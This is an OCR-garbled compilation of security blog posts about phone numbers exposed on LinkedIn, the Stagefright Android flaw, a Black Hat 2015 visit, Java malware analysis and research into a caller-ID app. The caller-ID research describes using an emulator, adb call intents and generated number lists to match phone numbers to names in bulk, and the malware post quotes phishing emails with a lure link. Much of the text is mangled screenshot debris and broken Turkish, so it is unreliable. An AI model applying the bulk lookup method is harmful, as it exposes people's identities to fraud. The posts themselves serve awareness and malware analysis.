Benide ekler miniz

B .

Calisma lliskileri ve |

5333

Merhabalar, 0506

Human Resources Manager- =

B insan Kaynaklari Yoneticisi ® |

11 s

10 s

Os

21 s

37



B @ F .l 16xL 19:12

NN 2 s
| Manager

ik 0532
) I B B B B 1s
| B Psikolog / Insan Kaynaklari
936
BNVl W _ N E _ "HE BN 1s
Musteri Temsilcisi / ' Bankasi
0542
_- | 1s
Master Trainer, HR - Group

lletisim caginin avantajlarini kulanmak, gayet mantikli
bir yontem ve bu faydali calismanin icinde yer almak
isterim. Group ik

0530

38



In case you ask “What is the problem with that?” First of all; LinkedIn is a business-oriented social network and on there, you share
various of information about your company and your position in that company, about your job and your workplace. We know that people
with bad intentions about hacking a firm and intelligence agencies, target employees. Recent example to this would be; the documents
leaked by Edward Snowden, we learned that U.S.A intelligence agency NSA and British intelligence service GCHQ hacked the emails
and Facebook accounts of Gemalto’s employees in 2010, which is a global sim card manufacturer firm, to steal the sim card encryption
keys. With this data, we can’t even imagine what they are doing in this century. Apart from intelligence agencies, we see that people
with bad intensions target smart phones and also they target even smart watches.

In the past, the worst thing that can happen to you when you share your number on internet and/or any other platform would be some
psycho disturbing you by calling you in the middle of the night and maybe waking you up. But in this era, the worst thing that can
happen is very different (On my Evil Pi article I simulated how to abuse the Android phones that contains vulnerability). That psycho
can turn into a hacker and those people, now, are able to steal all off your personal information.

On Black Hat information security conference that took place on August 5th of 2015, details of a vulnerability that affects more than
950 million android devices has been shown by Joshua Drake (@jduck). To exploit this vulnerability, (to hack phones/tablets) knowing
target’s phone number and sending a MMS with the exploit code or sending a link of a video in mp4 format is enough.

Even though Google instantly publishes the patches for Android OS, to download it to your phone it is required to wait for manufacturer
firm (like Samsung) to make that patch downloadable to its phones. So although Google make patches after one dat the vulnerability
is found, it is also mandatory for manufacturers to act really fast.

With the research of a firm named Exodus, it has been seen that Google couldn’t actually remove the vulnerability with that patch. It
seems that even on best case scenario we are not going to be able to install this patch before September.

Does that mean ‘we are going to sit there and do nothing?’ No. First of all; we can determine whether we are affected by this vulnerability
or not with StageFright Detector tool.
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http://www.democracynow.org/2015/2/20/nsa_british_gchq_hacked_sim_card
https://en.wikipedia.org/wiki/Edward_Snowden
https://en.wikipedia.org/wiki/National_Security_Agency
https://en.wikipedia.org/wiki/Government_Communications_Headquarters
https://www.youtube.com/watch?t=13&v=shn3OM0hwwM
https://www.mertsarica.com/evil-pi/
https://www.blackhat.com/us-15/briefings.html#stagefright-scary-code-in-the-heart-of-android
https://www.blackhat.com/us-15/speakers/Joshua-Drake.html
https://en.wikipedia.org/wiki/Multimedia_Messaging_Service
https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/
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Secondly; MMS is not the only attacking vector but it is the easiest one to exploit. So, to prevent the attacks coming from this vector,
you can disable automatically retrieve an MMS option on your Android OS (Even if you disable it, when you manually receive those
MMS’s, don’t forget that your device can still get hacked).

You can follow the steps below to prevent your device retrieving the MMS automatically.

For Android; Settings -> Messages -> Multimedia Messages (MMS) -> Auto Retrieve
For Google Hangouts; Hangouts -> Settings -> SMS -> Auto Retrieve MMS

If you are a Samsung user, you can also install the MMS Control application that is being launched by Samsung itself.

These steps shown above is not going to cover the vulnerability like a patch and Google says that it is not likely that this vulnerability can
be abused to hack many phones because of the ASLR (address space layout randomization) security measure that came with in Android
4.0 "Ice Cream Sandwich". However it is always good to be careful until the patch comes out.

Finally, the fact that the cell phone numbers is enough to exploit the vulnerabilities of smartphones, can lead hackers to target the
employees to be able hack the firm. For this reason, it is a good thing to be cautious even while sharing the phone numbers.

Hope to see you on the next article. I wish secure days to everyone.

Update: On 09.09.2015, exploit code for CVE-2015-1538 vulnerability has been published.

Black Hat Macerasi

Source: https://www.mertsarica.com/black-hat-macerasi/
By M.S on August 9th, 2015

1997 yilindan bu yana, diinyadan bilgi ve bilisim giivenligi uzmanlarinin, hackerlarin, istihbarat elemanlarinin akin ettigi diinyaca tinli
Black Hat konferansina Agustos ayinda katilma ve egitim alma sansin1 yakaladim. Sansin1 yakaladim diyorum ¢iinkii bu konferansa
katilmak ve egitim almak i¢in ya ¢ok paranizin olmasi gerekiyor (ucak bileti, otel konaklama ve Black Hat bileti ~10.000 TL) ya da
sizi bu konuda destekleyen sponsorlariizin, bu konferansa katilmaniz ve egitim almaniz gerektigine inanan IBTech ve Finansbank gibi
vizyoner isverenlerinizin olmasi gerekiyor. Ben de herseyden 6nce bu konferansa katilmama ve egitim almama destek olan, yardimlarini
esirgemeyen herkese tesekkiir etmek istiyorum.

Black Hat giinliigiimiin sayfalarin1 aralamadan 6nce 15 yil aradan sonra bu defa farkl bir eyaletini ziyaret ettigim Amerika'nin Nevada
eyaletinin Las Vegas kenti hakkinda kisaca gdzlemlerime yer vermek istiyorum.

Birincisi insanlarin gergekten mutlu, yardimsever, cana yakin ve kibar oldugunu sdyleyebilirim. Ozgiirliikler iilkesi olan Amerika'da
insanlarin kendi halinde olduklarini gérebiliyorsunuz. Elinde bira kutusuyla gezen de var, ponpon kiz kiyafetiyle sokaga cikip turistlerle
fotograf ¢ektirip bu isten para kazanan da var, {ist gecitlerin saginda solunda dilenmeyen ancak elinde doviz ile yardim isteyen evsizler
de var. Hatta bir evsizin dovizinde, "evsizim ¢iinkii eski esimin daha iyi bir avukat1 vardi" gibi esprili yazilara rastlayabiliyorsunuz. isin
en gilizel yan1 herkes kendi diinyasinda yastyor. Kimsenin kimseyle bir derdi, sorunu bulunmuyor. Yolda, toplu tasimada giderken kimse
kimseyi rahatsiz etmiyor, mahalle baskisina veya tacize maruz kalmiyorlar. Kurallara uyuyorlar, diizenliler, ¢evreye saygililar ve siz de
bunlara ag bir iilkeden geldiginiz i¢in hemen bu kurallara ve diizene memnuniyetle uyum sagliyorsunuz.

Insanlar siraya girmesi gerektigini biliyorlar. Sirada isleri uzun siirerse arkasinda sira bekleyenlere doniip 6ziir diliyorlar. Karsidan
karsiya gececekseniz adimizini yola attigiiz anda yoldan gecen arag duruyor ve sizin karsiya gegmenizi bekliyor. Bes seritli yollarda
oldukga liiks, spor araclar géze ¢arpryor ve hic biri ne slalom yapryor ne de birbirleriyle yarigip, insanlarin canini tehlikeye atiyor.
Yolda yiiriirken, bir restorana veya bir diikkana girdiginizde, merhaba, nasilsiniz ?, keyifler yerinde mi ? Vegas't begendiniz mi ?
neredensiniz ? gibi sorular soran ve sizle sohbet eden cana yakin insanlarla karsilagiyorsunuz. Tiirkiye'denim dediginizde miisliman
oldugunuz i¢in size farkli davranmiyorlar. Yabancilar miisliimanlar1 ve Tiirkler'i sevmezler séziinlin 6n yargidan ibaret oldugunu,
Vegas icin gecerli olmadigimi hemen anlayabiliyorsunuz. Kendi fotografinizi gekmeye ¢alistiginizda yaninizdan gegen biri fotografinizi
isterseniz ¢ekebilirim diye yardim eli uzatabiliyor.

Yasl isttihdamina da ger¢ekten 6nem veriyorlar. Black Hat'e kayit olurken biletinizi ve ¢antanizi size verenlerin yas ortalamasinin 50-60
arast oldugunu gorebiliyorsunuz. Cok sayida kadin otobiis soforii var ve onlarin da yas ortalamalari1 kimi zaman 50 ile 60 yas arasinda
olabiliyor.

Kissadan hisse, Avrupa iilkelerinde de oldugu gibi 6zgiirliikler iilkesindeki bu yasama ve medeniyet seviyesine, kiraathane sayisinin
kiitiiphane sayisinin 285 kati oldugu bir iilkede erigilmesinin epey zaman alacagi anlasiliyor.

Black Hat konferasina gelecek olursam, egitimlere ve sunumlara katilimin oldukga yiiksek oldugunu sdyleyebilirim. Zaten etkinlik yeri
icin neden Mandalay Bay otelinin dev kongre merkezinin se¢ildigini etkinlik tarihi gelince anlayabiliyorsunuz. Black Hat konferansi
toplamda 6 giin siiriiyor. ilk 4 giin boyunca egitimler diizenleniyor, geri kalan iki giinde ise neredeyse bir sene boyunca yapilan
aragtirmalarin sunuldugu can alici sunumlara (Black Hat Briefings) ve giivenlik araglarmin tamitildig: (Black Hat Arsenal) tanitim
sunumlarina yer veriliyor.

Black Hat'te bu sene toplamda 63 tane egitim verildi ve ben de 1-2 Agustos tarihlerinde, Saumil Shah tarafindan verilen Exploit
Laboratory: Black Belt adindaki egitimi aldim. Egitimin temeli, internet tarayicisi istismarina dayaniyordu. Egitim esnasinda use after
free zafiyetlerinin ROP (return oriented programming) ve heap spray yontemleri ile, Windows'un giivenlik kontrollerinin (DEP gibi)
nasil asilarak istismar edilebilecegini gosterildi. Sinifin mevcudu 30 kisiydi ve daha 6nce bu egitmenden egitim alanlarin bu egitimi
tercih ediyor olmalar1 da zaten egitmenin basarili oldugunu kanitlar nitelikteydi.
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https://s3.amazonaws.com/zhafiles/Zimperium-Handset-Alliance/Samsung_KNOX_and_ZHA_ap_MMSCtrl.apk
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://github.com/jduck/cve-2015-1538-1/blob/master/Stagefright_CVE-2015-1538-1_Exploit.py
https://www.mertsarica.com/black-hat-macerasi/
https://www.mertsarica.com/black-hat-macerasi/
http://www.blackhat.com/
https://www.blackhat.com/us-15/
http://www.ibtech.com.tr/
http://www.finansbank.com.tr/
http://arsiv.ntv.com.tr/news/95529.asp
http://www.mandalaybay.com/
http://www.mandalaybay.com/conventions/
https://www.blackhat.com/us-15/schedule.html
https://www.blackhat.com/us-15/training/
https://www.blackhat.com/us-15/briefings.html
https://www.blackhat.com/us-15/arsenal.html
https://www.blackhat.com/us-15/training/
https://www.blackhat.com/us-15/training/exploit-laboratory-black-belt.html#trainers
https://www.blackhat.com/us-15/training/exploit-laboratory-black-belt.html
https://www.blackhat.com/us-15/training/exploit-laboratory-black-belt.html
https://cwe.mitre.org/data/definitions/416.html
https://cwe.mitre.org/data/definitions/416.html
https://en.wikipedia.org/wiki/Return-oriented_programming
https://en.wikipedia.org/wiki/Heap_spraying
http://windows.microsoft.com/en-us/windows-vista/what-is-data-execution-prevention

Konferans ve egitim esnasinda giivenlik uzmani dedigin biraz paranoyaktir drneklerine de rastlamadim degil :) Misal egitim esnasinda
tuvalete giden birinin bilgisayarin1 kapatip, ¢antasina koyup, yanina aldigin1 da gordiim, yaka kartinda soyadini gizleyen kisileri de
gordiim. (Mert S. gibi)

Black Hat'in ag1lis konugmasinin yapildigi ilk giinde, 1000 kisilik oldugunu diisiindiigiim salonda Black Hat ve Defcon konferanslariin
organizatdrii Jeff Moss sdzii aldi ve bu sene, katilimer sayisinin en yiiksek oldugu Black Hat konferansini diizenlediklerini belirtti.



https://en.wikipedia.org/wiki/Jeff_Moss_(hacker)

Verilen Black Hat tanitim ve sunum kitap¢iginda kendime hangi sunumlara girecegimle ilgili bir plan ¢ikarttim. Paralelde ilgimi ¢eken

3-4 sunumun olmasi ve aralarindan sadece bir tanesini segmek zorunda olmam beni oldukga zorladi.
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Katildiklarim arasinda en ¢ok begendigim sunumlar; Charlie Miller ve Chris Valasek'in sundugu Remote Exploitation of an Unaltered
Passenger Vehicle, Michael Ossman'in The NSA Playset sunumu, Sean Metcalf'in Red vs Blue: Modern Active Directory Attacks
Detection and Protection sunumu ile Eric Evenchick ve Mark Baseggio'nin sundugu Breaking Access Controls with BLEK ey sunumlar1
oldu.

Charlie Miller ile Chris Valasek'in yaptig1 sunum oldukga keyifliydi. Sunum esnasinda, imzalanmamig bir donanim yazilimi (firmware)
sayesinde uzaktan bir arabay1 nasil hackleyebileceklerini oldukga renkli bir sekilde sundular. 1-2 sene arasi siiren bu zahmetli giivenlik
arastirmalarinin karsiligini, 1000 kisi oldugunu diisiindiigiim hinca hing dolu olan salonda miithis bir alkis kopunca aldiklarini
diistiniiyorum. Sunum baslamadan dnce yaninda bos yer olanlar ellerini kaldirsinlar diye anons yapilmasi da sunuma olan ilginin bir
gostergesiydi. Sunum sonunda Charlie Miller attig1 bir tweet ile kendi sunumlari esnasinda oldukga degerli bagka sunumlarin da paralelde
gergeklestigini sdyleyerek, sunumlarina katilanlara da tesekkiir etmeyi ihmal etmediler. Yabancilarin bu miitevaziligini her zaman takdir
etmigimdir.
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Hackrf One, (ben de sonunda bir tane alabildim :)) Ubertooth One ve bunun gibi birgok degerli donanima imza atan Michael Ossman'in
sunumu da benim i¢in oldukg¢a degerliydi. NSA Playset adin1 verdigi sunumda, Edward Snowden tarafindan sizdirilan NSA'in gizli
belgelerinden esinlenerek giivenlik arastirmacilari tarafindan hazirlanan donanimlarin tanitimina kisaca yer verdi.



https://greatscottgadgets.com/hackrf/
https://greatscottgadgets.com/ubertoothone/
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Eric Evenchick ve Mark Baseggio'nun RFID kapi kartlari iizerine yapmis olduklari caligma esnasinda, kart kopyalamak i¢in 10$'a mal

ettikleri BLEKey cihazini da ilk 200 kisiye ticretsiz olarak dagitmalari beni olduk¢a mutlu etti. (ben de bir tane kaptim :))
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Most access controls
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Her ne kadar katilamamis olsam da, bu sunumlar disinda gecen sene Gékhan ALKAN ve Bahtiyar BIRCAN 'm, bu sene ise sadece
Bahtiyar BIRCAN'in Black Hat Arsenal'de bizleri Heybe sunumu ile gururlandirdiklarini da unutmamak gerekiyor.

Bu arada sunumlar demisken, Black Hat'te bir sunumdan diger bir sunuma yetismek icin adeta depar atmaniz gerekebiliyor ¢linkii
¢ogunlukla koridorlar, metrobiislere benzer bir hal alabiliyor :)
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https://twitter.com/gokhan_alkn
https://twitter.com/bahtiyarb
https://www.blackhat.com/us-15/arsenal.html#heybe-pentest-automation-toolkit

Sunumlar disinda giivenlik diinyasinin dev markalarinin yer aldigi standlar1 da (Business Hall) gezme imkanim oldu ve bunlar arasinda
dikkatimi en ¢ok ¢eken FBI'n standi oldu. FBI'in standina gidip tweet atmak icin brosiirlerine bir géz atmak istedigimde, bir hanim
ablamizin (artik ajan midir bilinmez :)), Amerikan vatandagi misin ? diye sormadan dnce FBI'a katilmak ister misin ?, yetenekli misin
diye laf atmasi da beni sasirtmadi degil. Bu stand1 goriince insan, "eee adamlar nereden eleman almalar1 gerektigini gayet iyi biliyorlar,
sonugta koskoca FBI" demeden gegemiyor.
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https://www.fbi.gov/

Sonug olarak Black Hat konferansi benim igin gergege doniisen bir hayal oldu. Sunumlariyla ve egitimiyle oldukca verim aldigimi
sOyleyebilirim. Goniil ister her firma, her sene giivenlik uzmanlarin1 Black Hat, Defcon gibi konferanslara gondersin, orada egitim
aldirsin, hem iilkeye hem de giivenlik sektoriine katkis1 olsun ancak s1g vizyon, bol bol mesai yapsin kendini gelistirecek zamani olmasin,
ne is olsa yapsin ama bir alanda uzmanlagmasin, ekonomi de zaten kotii, maas verdigimize dua etsin egitim falan istemesin zihniyeti ile
ontimiizdeki 5 yil iginde bu sayinin ne kadar artacagini hep birlikte gorecegiz.

Sartlarin, imkanlarin ve bilgiye ulasmanin sinirli oldugu iilkemizde, Charlie Miller ile Chris Valasek'in ¢aligmas: gibi giivenlik
arastirmalarina yer verilmesi pek kolay olmuyor dolayisiyla Black Hat ve Defcon gibi konferanslarda bu tiir can alic1 sunumlar yapan
Tiirkler'e pek rastlamiyoruz. Umuyorum ki iilkemizde siber giivenlige verilen 6nem ile bu tiir arastirmalara verilen destek ve tesvik de
artacak ve yakin gelecekte Black Hat ve Defcon gibi diinyaca iinlii konferanslarda bizleri gururlandiran sunumlar: goriiyor olacagiz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not: Black Hat sunum dosyalarina erismek i¢in bu sayfayi ziyaret edebilirsiniz.
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Kim Anyor ?
Source: https://www.mertsarica.com/kim-ariyor/
By M.S on August 1st, 2015

Kasim 2013 tarihinde bir arkadasim, CIA (Kim Artyor?) mobil uygulamasi hakkinda bilgim olup olmadigini sordu. Bilgim olmadigini
sOyledigimde, bana arayan kisinin ekranda adin1 ve soyadini gésterdigini ve bunu nasil yaptigim1 merak ettigini sdyledi. Olsa olsa bu
uygulamanin mobil cihaza yiiklendigi anda telefon rehberinin bir kopyasini kendi sistemlerine gonderdigini ve bunun iizerine ¢agri
geldiginde rehber havuzda arayan numaray: sorgulayarak gosterebilecegini tahmin ettigimi séyledim.

Uygulamay1 kurup, inceledikten sonra telefon rehberinin aslinda bu uygulamay1 yiikleyen kisinin insiyatifinde paylasildigini gérdiim
ve hemen kendi cep telefonu numaram: bu uygulamada {izerinden arattim. Bekledigim gibi telefon numarama sahip olan kisi veya
kisiler, telefon rehberlerini paylastiklart i¢in benim adim ve soyadim da cep telefonum ile eslestirilmisti. Yakin ¢evremdekilerin cep
telefonu numaralarini da arattigimda bir arkadasimin rehbere adi ve soyadi yerine ev adresi ile kaydedildigini gérdiim. Muhtemelen
bu arkadasimin siirekli siparig verdigi ya bakkal ya gakkal telefon rehberine arkadasimi bu sekilde kaydetmis ve telefon rehberini de
paylasmuist1.

Mahremiyete ve giivenlige dnem verenler icin, kendi rizasi olmadan karsi tarafin (kigiler veya firmalar) insiyatifinde verilerinin
3. partilerle paylasilmasi, satilmasi bilindigi {izere giiniimiiziin en biiylik sorunlarindan bir tanesidir. Paray1 verip, veriyi satin alan
partilerin bu veriyi reklam disinda hangi amaglarla kullandigini bilemedigimiz i¢in verilerimize sahip ¢ikmaya caligarak ileride
basimiza gelebilecek potansiyel dolandiricilik girisimlerinden kendimizi korumaya ¢alismaktayiz. Onlarca uyartya ragmen kendini polis,
jandarma, savci olarak tanitan dolandiricilara kars1 vatandaslarimizin hala magdur oluyor olmasi da, verilerimize neden sahip ¢ikmamiz
gerektiginin 6nemini anlatiyor.

Bu arada 1 Mayis 2015 tarihinde yiiriirliige giren Elektronik Ticaret yasasi ile telefon, kisa mesaj ve e-posta ile izinsiz reklam
yapanlarin 50.000 TL 've varan para cezalar: 6deyeceklerini de biiyiik bir memnuniyetle hatirlatmak isterim. Sikayet icin T.C
Giimriik ve Ticaret Bakanligi'min lleti Sikayet Sistemi'ni ziyaret edebilirsiniz.

Iyi, giizel de Mert, telefon rehberi paylasimi ile telefon dolandiriciliginin ne tiir bir baglantisi var diye soruyor olabilirsiniz. En basitinden
sosyal miihendislik testinde oldugu gibi test dncesinde kars1 taraf hakkinda ne kadar ¢ok bilgiye sahip olursaniz, test esnasinda karsi
tarafi ikna etmeniz ve degerli bilgilere ulasmaniz o kadar kolay olur. Bundan yola ¢ikacak olursaniz, size telefon agan bir dolandirici,
size adiniz ve soyadiniz ile hitap ettigi zaman, sizi ikna etme ihtimali ¢ok daha yiiksek olacaktir. Bundan yola ¢ikarak art niyetli kisilerin,
dolandiricilarin kisa bir siirede kim artyor ve benzeri mobil uygulamalarin, telefon rehberi havuzundan kisa siirede nasil isim ve soyad
bilgilerini temin edebilecegini 6grenmeye ve buna karsi sizleri ve yakinlarinizi bu konuda uyarmaya karar verdim.

Bunun ig¢in ilk isim, GenyMotion Android &ykiiniiciisiine uygulamay1 yiiklemek oldu. Uygulamay: yiikledikten sonra aklima gelen
rastgele bir cepe telefonu numarasini arattim ve karsima o kiginin adi ve soyadi ¢ikti. Bir dolandirici olsa ve elinde yiizlerce belki de
binlerce cep telefonu numarasi olsa, bu uygulama iizerinden bu cep telefonlarina ait isim ve soyad bilgilerini toplu halde nasil alabilirdi
diye diisiiniirken, dykiiniiciiye disaridan ¢agri génderilebildigi geldi.

52


https://www.mertsarica.com/kim-ariyor/
https://www.mertsarica.com/kim-ariyor/
https://play.google.com/store/apps/details?id=com.ciamedia.caller.id&hl=tr
https://play.google.com/store/apps/details?id=com.adaffix.publisher.tr.android&hl=tr
http://www.ntv.com.tr/arsiv/id/25498816/
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http://tiss.gtb.gov.tr/
https://www.genymotion.com

b
APK Downloader [Latest] [ x \ Y

[ C ff [) apps.evozicom/apk-doy
‘, Hack 4 Career. Infor... mLinkedIn W Mert SARICA (merts...

| APK Downloader Home & Free Premium VF

Package name or Google Play URL & Visit Play S
https://play.google.com/store/apps/details ?id=com.adaffix.puk

Package Name: com.adaffix.publisher_tr.android
File Size: 1B

QR Code !
MDS5 File Hash: ec73
Last Fetched: 201
Version: 4.0.27 (4027)

ARIYOR?

& Generate Download Link

such

Livid

Request Update =

) Genymotion for personal use - Custom Phone - 44.4 - API19-.. — © % Pro tip:

Fo w40

B sHor

m & - o)

AP| Demos Browser Caleulator Calendsa Camera

© & E
@

Custom Locale Dev Settings

[

Email de Manage: G+ Phatos

=

o | CA\Windows\system32\cmd.exe

IC:“\Users \Mert Desktoprkimariyor>adb install com.adaffix.publisher.tr.android.apk|

959 KBrs <6861962 hytes in 2.264s)
pkyg: sdataslocalstmpscom.adaffix.publisher.tr.android.apk

o UCCESS

IC:“\Users MertsDesktoprkimariyor>_
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Genymotion for personal use - Custom Phone - 4.4.4 - APl 19 - 768x1280 (768.. — ©

Matched
IKi!IM=

Found in web

Genymotion for personal use - Custom Phone - 4.4.4 - APl 19 - 768x1280 (768.. — O

KIM ARIYOR?
EHREN [— T irkiye.
0536 5

Found in web

C\Windows\system32\cmd.exe

iSUserssMertsDesktopskimariyor>adh shell am start —a android.intent.action.CALL
tel:B536 m—
IBtarting: Intent { act=android.intent.action.CALL dat=telIxxxoooooxxx

sUszerssMertsDesktopikimariyor >

~

Cagr1 gonderdikten sonra rehber havuzu lizerinde yapilan sorgulamanin, uygulama tarafindan dosya sistemi {izerinde herhangi bir yere
kaydedilip kaydedilmedigini adb shell komutu ile dykiiniiciiye baglanip arastirmaya bagladim. Cok ge¢gmeden uygulama tarafindan
yapilan sorgularin ve yanitlarinin uygulamaya ait databases klasorii altinda history.db isimli sqlite veritabani dosyasinda tutuldugunu
tespit ettim.

o | CA\Windows\system32\cmd.exe - adb shell = il

UszerssMertsDesktoprkimariyor>adh shell
rootBuboxBbp:s # cd datarsdatascom.adax

d datarsdatascom.adax
iuot@uhoxﬂﬁp:/data/data/com.adaff:i.x.puhl:i.sher.tr.android # 1s
pp_FParse

pp_wehview

inary file history.db matches
Binary file history_db—journal matches
rootBuboxBb6p:sdatasdatascom.adaffix.publisher.tr.android-sdatabases #
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X CA\Windows\system32\cmd.exe - sglite3 history.db S “

UszerssMertsDesktopikimariyor>adbh pull rsdatasdatarscom.adaffix.publisher.tr.and
roidsdatabasesshistory.db
2833 KBrs (28488 hytes in B.88%s)

UserssMertsDesktopikimarivor?sglited history.dhb
QLite version 3.8.8.2 2815-B1-36 14:30:45
nter “.help" for usage hints.
lzglite?> .tables
ndroid_metadata histor
izglite> select * from h ory;
1A5364 5114243696171151

Ardindan Python ile iki ara¢ hazirladim. Bir tanesi mobil operatdrlerin alan koduna gére numara tireterek dykiiniiciiye ¢agri gonderirken
digeri ise history.db veritabani dosyasini okuyarak yeni olusturulan kayitlari gosteriyordu. Araglart kisa bir siire ¢aligtirdiktan sonra
caligmami tamamladim.

= C:\Windows\system32\cmd.exe = Genymotion for personal use - Custom Phone - 444 - API19-.. - © EN

im Ariyor Mobile Phone Number Generator [htt J.merts ca.com]

AU
315151
A
5]5]5)

Look-ups
iphkimariyor? = EE
| ——] a
[ =
— — m——  e— 000
= =]
CIA DB Viewer [http:/ —  — ] “-
[=] Downloading CIA h 5 - =
i1 ¢} <
istory file...
'AABEBBR
451615 151515 K 0
28ABRNRG o
ktopikimari

Bu ¢alisma sonucunda art niyetli kisilerin ellerinde bulunan veya bulunmayan (anlik olarak iiretilen) cep telefonu numaralari ile isim ve
soyad bilgilerini kisa bir siirede eslestirebileceklerini 6grenmis oldum. Siz de benim gibi, rizaniz olmadan yakinlarinizin veya sizin cep
telefonu numaranizi paylasan arkadaglariniz oldugundan siiphe ediyor ve Kim Ariyor? uygulamasinin rehber havuzundan numaranizi
silmek istiyorsaniz, buradaki adresi ziyaret ederek numaranizi bu listeden sildirebilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Java Bayt Kod Hata Ayiklamasi

Source: https://www.mertsarica.com/java-bayt-kod-hata-ayiklamasi/
By M.S on July 1st, 2015

Tarik Y. sagolsun 10 Ekim 2013 tarihinden bu yana kendisine gelen ve ekinde zararli yazilim bulunan ¢ogu sahte e-postay1 incelemem
icin benimle paylasiyor. Kendisine gonderilen e-postalara bakildiginda, 2013 yilindan bu yana aktif olarak java ile zararli yazilim
gelistiren (indirici/dropper) ve sahte e-postalar gonderen bir grubun bu e-postalarin arkasinda oldugunu anlamak ¢ok zor degil. Antiviriis
yazilimlarini atlatmak icin gesitli gizleme (obfuscator) araglarindan da faydalanan bu grup, her salginda ikna adina asagidaki gibi yeni
senaryolar kullanmaktan ¢ekinmiyor.
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Task sonucu bilglendirme.

extratap.turccell.com.tr  Kisilzre ekle 03.03.2013
Kime: tarik ¥

Degerli Bayiimiz;

Asagida kimlik bilgileri bulunan abonemizicin agmis oldugunuz task sonuglanmistir,
Alagl izlemek icin latfen linke tiklayimz..
http://global-bilgi.com.tr/atachmt/tasksonucu

Zararl yazilim gelistiricileri cogunlukla indiricileri gelistirirken Java programalama dilinden faydalaniyor olmalarinin en biiytik sebebi,
Java'nin yorumlanan (interpreted) bir programlama dili olmasidir. Bu sayede CLASS dosyasina derlenen .JAVA uzantili bir kod, Java
Virtual Machine (JVM) tarafindan ¢alisma esnasinda yorumlanarak makine diline doniistiiriillmektedir. Bu durum da JAVA programlama
dili ile yazilan zararl1 yazilimlarin Antiviriis yazilimlar: tarafindan kimi durumlarda yorumlanamamasina sebebiyet vermektedir. Ayrica
JVM tarafindan calistirilan JAR uzantil yiiriitiilebilir dosyalar veya CLASS uzantili dosyalar, Ollydbg veya Immunity Debugger gibi
hata ayiklayicilar tarafindan calistirilamaz dolayisiyla dinamik kod analizi ile analiz edilmesi, PE dosyalara kiyasla daha zordur.

Ancak yorumlanabilir diller, diger dillerin aksine kaynak koduna geri ¢evrilebilmektedir (decompile). Zararli yazilim analistleri i¢in
ilk bakista bu biiyiik bir nimet gibi goriinse de, bunu bilen zararli yazilim gelistiricileri, Allatori gibi gizleme araglarindan (obfuscator)
faydalanmaktadirlar. Boyle bir durumla karsilagtiginiz zaman statik bayt kod analizi ile ilerlemek iyi bir tercih gibi gériinse de, dinamik
bayt kod analizinin yerini zaman ve pratiklik agisindan tutmayacaktir.

Allatori gibi araclarin 6zelliklerine baktiginiz zaman analizi gii¢lestiren ¢esitli dzellikler ile donatildigini gorebilirsiniz dolayisiyla
kaynak koduna ¢evirme ve dinamik bayt kod analizi konusunda sikint1 yagayacaginiz bir gergektir!

Ornegin asagidaki sahte e-posta ile gonderilen JAR dosyasini Java Decompiler araci ile kaynak koduna gevirmeye calistigimizda kaynak
kodunu goériintiilemiyor olmamiz bizi pek sasirtmiyor.

FW: 12.01.2015 Tarihli Platinum TL Hesap Ozetiniz (Ref:5150228026)7 ™ x
bank.com (J; 05:59 Eylemler v
Kime: #
Kimden: bank.com (info@ bank.com) Bu gonderen kisi listenizde var.
Génderme tanhi: 13 Ocak 2015 Sah 05:59:58
Kime

I Dikkatli olun! Bu gonderen, sahtekarlik algilama denetlememizi gegemedi.

U] 1 ek (4.8 KB) Outlook.com Etkin G&rinim A

d
P

Zip olarak indir

R REERR2159 nuimarah Platinum TL hesap Gzetiniz ekteki dosyada bilgilerinize sunulmugtur
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& Java Decompiler - Main.class

File Edit Mavigate Search Help
= @ e

| Ref Aness 5150228026.jar X |

=
g % METP_"INF Main.class % il
- H com.java E = 1
E| m package cow.java;
o ol Main
" [] Marifest.mf public class Main {}

i 11t l |

Ayni sekilde Eclipse eklentisi olarak kullanilan ve bir bayt kod hata ayiklayicisi olan Dr. Garbage Bytecode Visualizer araci ile de JAR
dosyasini ¢alistirdigimizda bir hata ile karsilasmamiz da bizi sagirtmiyor.

File Edit Source Refactor Mavigate Search Project Run Window Help
DB bl 0 -l G

[% Package Explorer 52 = |<;==g>‘ @ F =2 0
B = Malware
- src
B IRE System Library [Javase-1,7]
=B, Referenced Libraries
= @t Ref Axess 5150228026.jar - C:\Documents and Settingshadmin

=3 com.java
2 Open F3:
i 2 @ Man Open Type Hierarchy F4
(= META-l  Show In Alb+shift+w ¥
H::j Copy Chrl+C

52 Copy Qualified Mame

Crl+y

¥ 0

Build Path L4

g Import..,

=g Export...

References L4
Declarations L4
Assign Working Sets...

Debug As 3
Run As 3
Compare With ... L4

* Deak
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https://eclipse.org/
http://www.drgarbage.com/bytecode-visualizer/

ava - com. java.Main - Eclipse

File Edit Bytecode Source Refactor Mavigate Search Project Run Window  Help

P B s 4 - IO G i G S (O

oodg A o= e - [ o

[# Package Explorer 52 |

p—
|Debug As Java Application m

18] Main.class 52

= = malware S R A AR E ARG AR A A AAL A ARG AL A ARG ARG E R A G A ~
B st /% Generated by Dr. Garbage BEvtecode Visualizer */ —
E]m JRE System Library [JavasE-1.7] J% http://wuw. degarbage . com b
= 2| Referenced Libraries /* Version: 4.4.1.201408050542 i
E!-@ Ref Axess 5150228026.jar - C:\Documents and SettingsiAdmin /* Class retrieved from: Filesystem i
=3 com.java /% Retrieved on: 2015-03-21 12:53:03.062 #f
E B JF R EEAATARREAARAAARAAAATARNEAATAAARAAARAAATAT TS
& Main
Manifest.mf /% olass file format version 50.0 (java 1.8) */
(-2 META-INF package com.java;
public class Main {
/% compiled from i */
private static boolean TiiITITiITi:
private static boolean ITiIiiIITIi;
private static boolean ALLATORIxDEMOxpalermolustralia:
& public static void wain(java.lang.3tring[] IIiIiiIIIli) throws java.io.I
0 getstatic 2; f* jawva. lang.System.out */
3 1lde w 337: A7 mwliu001ly uo00fe#+V, OF RESHV, Q1Y -F/RL
& invokestatic 324; /% java.lang.String com.java.Main. ALLATOR
9 invokevirtual 3: /% s0id printlnijava.lang.String argl) */
/7 L403 +f
12 lde_w 339; A% "0 VhY u0002oh ul00fn) uhul018<, ud0ich v =a
15 invokestatic 3Z24; /% Java.lang.String com.java.Main.ALLATOR M|
< i >

Z‘i:l Bytecode| =] Source Code

Sodrce R r Ma Project  Run

UINE0-Q- W e s

SRR ¢ [T

[# Package Explorer 52 | = |<==i‘ - T

Zﬂ Main.class &3

